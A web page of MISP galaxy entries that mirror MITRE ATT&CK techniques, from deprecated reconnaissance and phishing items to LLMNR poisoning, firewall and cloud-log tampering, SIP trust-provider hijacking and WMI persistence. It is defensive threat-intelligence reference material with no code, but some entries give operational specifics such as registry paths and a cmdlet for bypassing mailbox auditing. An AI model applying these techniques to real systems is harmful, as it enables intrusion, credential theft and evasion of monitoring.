UUID 1def484d-2343-470d-8925-88f45b5f9615 which can be used as unique global reference for Assess vulnerability of 3rd party vendors - T1298 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1298 |
| kill_chain | ['pre-attack:organizational-weakness-identification'] |
Manipulate App Store Rankings or Ratings - T1452
An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).
Internal MISP references
UUID 76c12fc8-a4eb-45d6-a3b7-e371a7248f69 which can be used as unique global reference for Manipulate App Store Rankings or Ratings - T1452 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1452 |
| kill_chain | ['mobile-attack-Android:impact', 'mobile-attack-iOS:impact'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Acquire OSINT data sets and information - T1247
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)
Internal MISP references
UUID 784ff1bc-1483-41fe-a172-4cd9ae25c06b which can be used as unique global reference for Acquire OSINT data sets and information - T1247 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1247 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Related clusters
To see the related clusters, click here.
Acquire OSINT data sets and information - T1266
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)
Internal MISP references
UUID 2b9a666e-bd59-4f67-9031-ed41b428e04a which can be used as unique global reference for Acquire OSINT data sets and information - T1266 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1266 |
| kill_chain | ['pre-attack:people-information-gathering'] |
Related clusters
To see the related clusters, click here.
Acquire OSINT data sets and information - T1277
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)
Internal MISP references
UUID 028ad431-84c5-4eb7-a364-2b797c234f88 which can be used as unique global reference for Acquire OSINT data sets and information - T1277 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1277 |
| kill_chain | ['pre-attack:organizational-information-gathering'] |
Related clusters
To see the related clusters, click here.
Assess opportunities created by business deals - T1299
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)
Internal MISP references
UUID e2aa077d-60c9-4de5-b015-a9c382877cd9 which can be used as unique global reference for Assess opportunities created by business deals - T1299 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1299 |
| kill_chain | ['pre-attack:organizational-weakness-identification'] |
SSL certificate acquisition for trust breaking - T1338
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)
Internal MISP references
UUID 54a42187-a20c-4e4e-ba31-8d15c9e1f57f which can be used as unique global reference for SSL certificate acquisition for trust breaking - T1338 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1338 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Identify resources required to build capabilities - T1348
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)
Internal MISP references
UUID c9fb4451-729d-4771-b205-52c1829f949c which can be used as unique global reference for Identify resources required to build capabilities - T1348 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1348 |
| kill_chain | ['pre-attack:build-capabilities'] |
Hardware or software supply chain implant - T1365
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)
Internal MISP references
UUID 388f3a5c-2cdd-466c-9159-b507fa429fcd which can be used as unique global reference for Hardware or software supply chain implant - T1365 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1365 |
| kill_chain | ['pre-attack:stage-capabilities'] |
Test malware in various execution environments - T1357
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Malware may perform differently on different platforms (computer vs handheld) and different operating systems (Ubuntu vs OS X), and versions (Windows 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)
Internal MISP references
UUID e042a41b-5ecf-4f3a-8f1f-1b528c534772 which can be used as unique global reference for Test malware in various execution environments - T1357 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1357 |
| kill_chain | ['pre-attack:test-capabilities'] |
Conduct social engineering or HUMINT operation - T1376
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)
Internal MISP references
UUID b79a1960-d0be-4b51-bb62-b27e91e1dea0 which can be used as unique global reference for Conduct social engineering or HUMINT operation - T1376 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1376 |
| kill_chain | ['pre-attack:launch'] |
Spear phishing messages with malicious attachments - T1367
This technique has been deprecated. Please use Spearphishing Attachment.
Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)
Internal MISP references
UUID e24a9f99-cb76-42a3-a50b-464668773e97 which can be used as unique global reference for Spear phishing messages with malicious attachments - T1367 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1367 |
| kill_chain | ['pre-attack:launch'] |
Authorized user performs requested cyber action - T1386
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)
Internal MISP references
UUID 0440f60f-9056-4791-a740-8eae96eb61fa which can be used as unique global reference for Authorized user performs requested cyber action - T1386 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1386 |
| kill_chain | ['pre-attack:compromise'] |
Spear phishing messages with text only - T1368
This technique has been deprecated. Please use Phishing where appropriate.
Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)
Internal MISP references
UUID 2fc04aa5-48c1-49ec-919a-b88241ef1d17 which can be used as unique global reference for Spear phishing messages with text only - T1368 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1368 |
| kill_chain | ['pre-attack:launch'] |
Spear phishing messages with malicious links - T1369
This technique has been deprecated. Please use Spearphishing Link.
Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)
Internal MISP references
UUID 489a7797-01c3-4706-8cd1-ec56a9db3adc which can be used as unique global reference for Spear phishing messages with malicious links - T1369 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1369 |
| kill_chain | ['pre-attack:launch'] |
Unauthorized user introduces compromise delivery mechanism - T1387
This technique has been deprecated. Please use Hardware Additions where appropriate.
If an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)
Internal MISP references
UUID b3253d9e-ba11-430f-b5a3-4db844ce5413 which can be used as unique global reference for Unauthorized user introduces compromise delivery mechanism - T1387 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1387 |
| kill_chain | ['pre-attack:compromise'] |
Deliver Malicious App via Other Means - T1476
Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.
Delivery methods for the malicious application include:
- Spearphishing Attachment - Including the mobile app package as an attachment to an email message.
- Spearphishing Link - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.
- Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)
Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)
Internal MISP references
UUID 53263a67-075e-48fa-974b-91c5b5445db7 which can be used as unique global reference for Deliver Malicious App via Other Means - T1476 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1476 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/flappy-bird-and-third-party-app-stores/ - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/user-beware-rooting-malware-found-in-3rd-party-app-stores/ - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html - webarchive
- https://www.ibtimes.co.uk/danger-lurks-third-party-android-app-stores-1544861 - webarchive
- https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1476 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Upload, install, and configure software/tools - T1362
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)
Internal MISP references
UUID e8471f43-2742-4fd7-9af7-8ed1330ada37 which can be used as unique global reference for Upload, install, and configure software/tools - T1362 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1362 |
| kill_chain | ['pre-attack:stage-capabilities'] |
LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001
By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials.
Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)
Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.
In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.
Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)
Internal MISP references
UUID 650c784b-7504-4df7-ab2c-4ea882384d1e which can be used as unique global reference for LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1557/001 - webarchive
- https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html - webarchive
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html - webarchive
- https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution - webarchive
- https://github.com/Kevin-Robertson/Conveigh - webarchive
- https://github.com/SpiderLabs/Responder - webarchive
- https://github.com/nomex/nbnspoof - webarchive
- https://technet.microsoft.com/library/cc958811.aspx - webarchive
- https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response - webarchive
- https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1557.001 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Windows:collection'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003
Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)
Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.
Internal MISP references
UUID fb8d023d-45be-47e9-bc51-f56bcae6435b which can be used as unique global reference for Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1048.003 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration', 'attack-Network:exfiltration'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Exfiltration Over Unencrypted Non-C2 Protocol - T1639.001
Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). Adversaries may employ custom or publicly available encoding/compression algorithms (such as base64) or embed data within protocol headers and fields.
Internal MISP references
UUID 37047267-3e56-453c-833e-d92b68118120 which can be used as unique global reference for Exfiltration Over Unencrypted Non-C2 Protocol - T1639.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1639.001 |
| kill_chain | ['mobile-attack-Android:exfiltration', 'mobile-attack-iOS:exfiltration'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Match Legitimate Name or Location - T1036.005
Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.
Adversaries may also use the same icon of the file they are trying to mimic.
Internal MISP references
UUID 1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2 which can be used as unique global reference for Match Legitimate Name or Location - T1036.005 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1036.005 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Containers:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata', 'Image: Image Metadata', 'Process: Process Creation', 'Process: Process Metadata'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Containers'] |
Related clusters
To see the related clusters, click here.
Match Legitimate Name or Location - T1655.001
Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by giving artifacts the name and icon of a legitimate, trusted application (i.e., Settings), or using a package name that matches legitimate, trusted applications (i.e., com.google.android.gm).
Adversaries may also use the same icon of the file or application they are trying to mimic.
Internal MISP references
UUID 114fed8b-7eed-4136-8b9c-411c5c7fff4b which can be used as unique global reference for Match Legitimate Name or Location - T1655.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1655.001 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Disable or Modify System Firewall - T1562.004
Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.
Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. Non-Standard Port).(Citation: change_rdp_port_conti)
Adversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various Remote Services may also indirectly modify firewall rules.
Internal MISP references
UUID 5372c5fe-f424-4def-bcd5-d3a8e770f07b which can be used as unique global reference for Disable or Modify System Firewall - T1562.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562.004 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Network:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Disable or Modify Cloud Firewall - T1562.007
Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in Disable or Modify System Firewall.
Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)
Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.
Internal MISP references
UUID 77532a55-c283-4cd2-bc5d-2d0b65e9d88c which can be used as unique global reference for Disable or Modify Cloud Firewall - T1562.007 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562.007 |
| kill_chain | ['attack-IaaS:defense-evasion'] |
| mitre_data_sources | ['Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification'] |
| mitre_platforms | ['IaaS'] |
Related clusters
To see the related clusters, click here.
Disable or Modify Cloud Logs - T1562.008
An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.
For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality – for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the Set-MailboxAuditBypassAssociation cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)
Internal MISP references
UUID cacc40da-4c9e-462c-80d5-fd70a178b12d which can be used as unique global reference for Disable or Modify Cloud Logs - T1562.008 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1562/008 - webarchive
- https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html - webarchive
- https://cloud.google.com/logging/docs/audit/configure-data-access - webarchive
- https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html - webarchive
- https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete - webarchive
- https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/ - webarchive
- https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detection__disruption/main.py - webarchive
- https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562.008 |
| kill_chain | ['attack-IaaS:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-Google-Workspace:defense-evasion', 'attack-Azure-AD:defense-evasion', 'attack-Office-365:defense-evasion'] |
| mitre_data_sources | ['Cloud Service: Cloud Service Disable', 'Cloud Service: Cloud Service Modification', 'User Account: User Account Modification'] |
| mitre_platforms | ['IaaS', 'SaaS', 'Google Workspace', 'Azure AD', 'Office 365'] |
Related clusters
To see the related clusters, click here.
SIP and Trust Provider Hijacking - T1553.003
Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)
Similar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)
- Modifying the
DllandFuncNameRegistry values inHKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file). - Modifying the
DllandFuncNameRegistry values inHKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk. - Modifying the
DLLandFunctionRegistry values inHKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy{trust provider GUID}that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). - Note: The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)
Internal MISP references
UUID 543fceb5-cb92-40cb-aacf-6913d4db58bc which can be used as unique global reference for SIP and Trust Provider Hijacking - T1553.003 in MISP communities and other software using the MISP galaxy
External references
- http://www.entrust.net/knowledge-base/technote.cfm?tn=8165 - webarchive
- https://attack.mitre.org/techniques/T1553/003 - webarchive
- https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/ - webarchive
- https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10) - webarchive
- https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11) - webarchive
- https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files - webarchive
- https://github.com/mattifestation/PoCSubjectInterfacePackage - webarchive
- https://msdn.microsoft.com/library/ms537359.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx - webarchive
- https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1553.003 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Modification', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Windows Management Instrumentation Event Subscription - T1546.003
Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)
Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts – using mofcomp.exe –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)
WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.
Internal MISP references
UUID 910906dd-8c0a-475a-9cc1-5e029e2fad58 which can be used as unique global reference for Windows Management Instrumentation Event Subscription - T1546.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1546/003 - webarchive
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1 - webarchive
- https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof- - webarchive
- https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf - webarchive
